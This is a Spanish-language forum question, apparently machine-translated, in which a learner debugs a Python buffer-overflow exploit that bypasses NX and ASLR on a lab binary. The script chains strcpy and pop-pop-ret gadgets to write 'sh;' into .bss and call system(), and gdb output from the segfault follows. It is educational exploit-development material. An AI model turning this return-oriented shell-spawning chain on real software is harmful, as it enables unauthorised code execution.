NX + ASLR bypass - problemas con la dirección de retorno de .bss

1

Tengo un problema, mientras hago NX + ASLR bypass. Realizo este tutorial paso a paso .

Todo va bien, he preparado mi exploit, solo con otra dirección y algunas pequeñas modificaciones:

#!/usr/bin/python

from struct import pack
from os import system

junk = 'A'*1036 #junk to offset to stored ret
strcpy = pack("<L", 0x8048310)
ppr = pack("<L", 0x080484ee) #pop pop ret

p = junk
p += strcpy
p += ppr
p += pack("<L", 0x0804a024) #bss
p += pack("<L", 0x08048162) # 's'
p += strcpy
p += ppr
p += pack("<L", 0x0804a025) #bss+1
p += pack("<L", 0x080480d8) # 'h'
p += strcpy
p += ppr
p += pack("<L", 0x0804a026) #bss+2
p += pack("<L", 0x0804852f) # ';'
p += pack("<L", 0x08048320) #system@plt
p += "AAAA"
p += pack("<L", 0x0804a024) #bss (now contains "sh;<junk>")

system("/tmp/a.out \""+p+"\"")

Si lo ejecuto, no pasa nada. Pero si modifico el pasaje con la dirección de "system @ plt" con la dirección del sistema de libc obtengo un error de segmentación.

p += pack("<L", 0xb7e4e104) #system from libc
p += "J" * 8 # sub esp,0xc
p += pack("<L", 0xdeadbeef) # exit
p += pack("<L", 0x0804a024) #bss (now contains "sh;<junk>")

system("/tmp/a.out \""+p+"\"")

./exploit.py y .... "Error de segmentación". Permití que los volcados de datos comprobaran lo que sucedió y encontré esto:

  

Señal recibida programa SIGSEGV, fallo de segmentación.   0x0804a024 en completado ()

Esta dirección contiene:

  

(gdb) x / s 0x0804a024

     

0x804a024: "sh; ("

" sh; (" hm ...? Me gustaría hacer algunas preguntas.

  1. ¿Esa es la razón ' (', por la que tengo un error de segmentación en lugar de shell?
  2. ¿Cómo puedo eliminarlo / arreglarlo? Probé cosas diferentes, pero sin resultados.
  3. ¿Por qué no funciona el uso de la dirección de "system @ plt"? Más precisamente, no hace nada. Sin embargo, en el tutorial de SpiderLabs, ¿todo funciona?

Sé que hay más formas de omitir ASLR + NX, pero siento curiosidad por lo que está mal.

    
pregunta core2dump 01.09.2015 - 20:49
fuente

0 respuestas

Lea otras preguntas en las etiquetas